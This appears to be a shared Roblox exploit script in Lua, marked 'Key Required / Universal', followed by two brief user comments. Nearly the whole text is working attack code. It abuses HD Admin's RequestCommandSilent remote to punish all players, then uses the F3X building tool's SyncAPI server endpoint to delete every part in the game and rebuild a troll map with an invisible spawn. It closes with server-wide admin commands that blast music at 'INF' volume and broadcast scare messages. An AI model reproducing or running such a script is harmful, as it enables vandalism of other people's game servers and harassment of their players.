
Key RequiredUniversal

local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools me")
wait(0.4)
RequestCommand:InvokeServer(";punish all")
wait(0.1)
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
return
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function deleteall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
delete(v)
end)
end
end
end
deleteall() -- <--- șterge TOT înainte să construim
wait(1.2) -- puțin delay ca să se curețe scena
local function resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmaterial(part,mate)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function transparency(part,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = trans
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function createdecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setdecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://" .. asset
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setanchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setcollision(part, booleana)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = booleana
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function name(part, stringa)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringa
}
serverendpoint:InvokeServer(unpack(args))
end
-- ═══════════════════════════════════════════════════════════════
-- BUILD - totul anchored + spawn transparent
-- ═══════════════════════════════════════════════════════════════
-- BasePart
local base = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(168, -9.5, -63), workspace)
resize(base, Vector3.new(240, 21, 140), base.CFrame)
setcollision(base, true)
syncmaterial(base, Enum.Material.DiamondPlate)
color(base, Color3.new(1, 1, 0)) -- new yeller
name(base, "BasePart")
setanchor(base, true)
-- carare
local carare = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(215.5, 1, -63), workspace)
resize(carare, Vector3.new(109, 1, 20), carare.CFrame)
setcollision(carare, true)
syncmaterial(carare, Enum.Material.Plastic)
color(carare, Color3.new(1, 0, 0)) -- really red
name(carare, "carare")
setanchor(carare, true)
-- wall 1 → wall 7
local wallDecalIds = {"165335563","7560279998","4808417778","336014681","5668223666","605544193","1120224001"}
local wallData = {
{171.536, 13.5, -32.121, 45},
{172.707, 13.5, -93.879, 135},
{210.071, 13.5, -34.657, 45},
{214.121, 13.5, -91.464, 135},
{247.414, 13.5, -36, 45},
{247.828, 13.5, -92.586, 135},
{278, 13.5, -63, 90},
}
for i, d in ipairs(wallData) do
local pos = Vector3.new(d[1], d[2], d[3])
local rot = math.rad(d[4])
local cf = CFrame.new(pos) * CFrame.Angles(0, rot, 0)
local wall = serverendpoint:InvokeServer("CreatePart", "Normal", cf, workspace)
resize(wall, Vector3.new(30, 25, 2), cf)
setcollision(wall, true)
color(wall, Color3.new(1,1,1))
name(wall, "wall " .. i)
setanchor(wall, true)
local faces = {Enum.NormalId.Front, Enum.NormalId.Back, Enum.NormalId.Left, Enum.NormalId.Right, Enum.NormalId.Top, Enum.NormalId.Bottom}
for _, face in ipairs(faces) do
createdecal(wall, face)
setdecal(wall, wallDecalIds[i], face)
end
end
-- Spawna 2 → transparent 1.0
local spawna2 = serverendpoint:InvokeServer("CreatePart", "Spawn", CFrame.new(141.25, 1.001, -63) * CFrame.Angles(0, math.rad(-90), 0), workspace)
resize(spawna2, Vector3.new(40.5, 0.001, 40.5), spawna2.CFrame)
setcollision(spawna2, true)
transparency(spawna2, 1.0) -- <--- INVIZIBIL
color(spawna2, Color3.new(1,1,1))
name(spawna2, "Spawna 2")
setanchor(spawna2, true)
createdecal(spawna2, Enum.NormalId.Top)
setdecal(spawna2, "3512459964", Enum.NormalId.Top)
-- BasePart 2
local base2 = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(73, 1.5, -63), workspace)
resize(base2, Vector3.new(46, 1, 136), base2.CFrame)
setcollision(base2, true)
color(base2, Color3.new(1,1,1))
name(base2, "BasePart 2")
setanchor(base2, true)
createdecal(base2, Enum.NormalId.Top)
setdecal(base2, "1084998374", Enum.NormalId.Top)
-- Part 1 2 3 (albastre)
local bluePos = {
{70.5, 4.5, -14.5},
{70.5, 4.5, -64.5},
{70.5, 4.5, -113.5},
}
for i, p in ipairs(bluePos) do
local part = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(unpack(p)), workspace)
resize(part, Vector3.new(23, 6, 23), part.CFrame)
setcollision(part, true)
syncmaterial(part, Enum.Material.DiamondPlate)
color(part, Color3.new(0,0,1)) -- really blue
name(part, "Part" .. (i > 1 and " " .. i or ""))
setanchor(part, true)
end
-- final troll commands
wait(0.5)
RequestCommand:InvokeServer(";res all")
wait(0.3)
RequestCommand:InvokeServer(";r6 all")
RequestCommand:InvokeServer(";time 14")
wait(0.7)
RequestCommand:InvokeServer(";music 1838211570 ;volume INF")
RequestCommand:InvokeServer(";m GOOD NEWS THE IT IS COME BACK")
wait(1.5)
RequestCommand:InvokeServer(";m ARE YOU SCARY?")
wait(1.6)
RequestCommand:InvokeServer(";disco")
print("Done - spawn transparent + deleteall + locked everything")



Nice realm?
@moraruangela63 no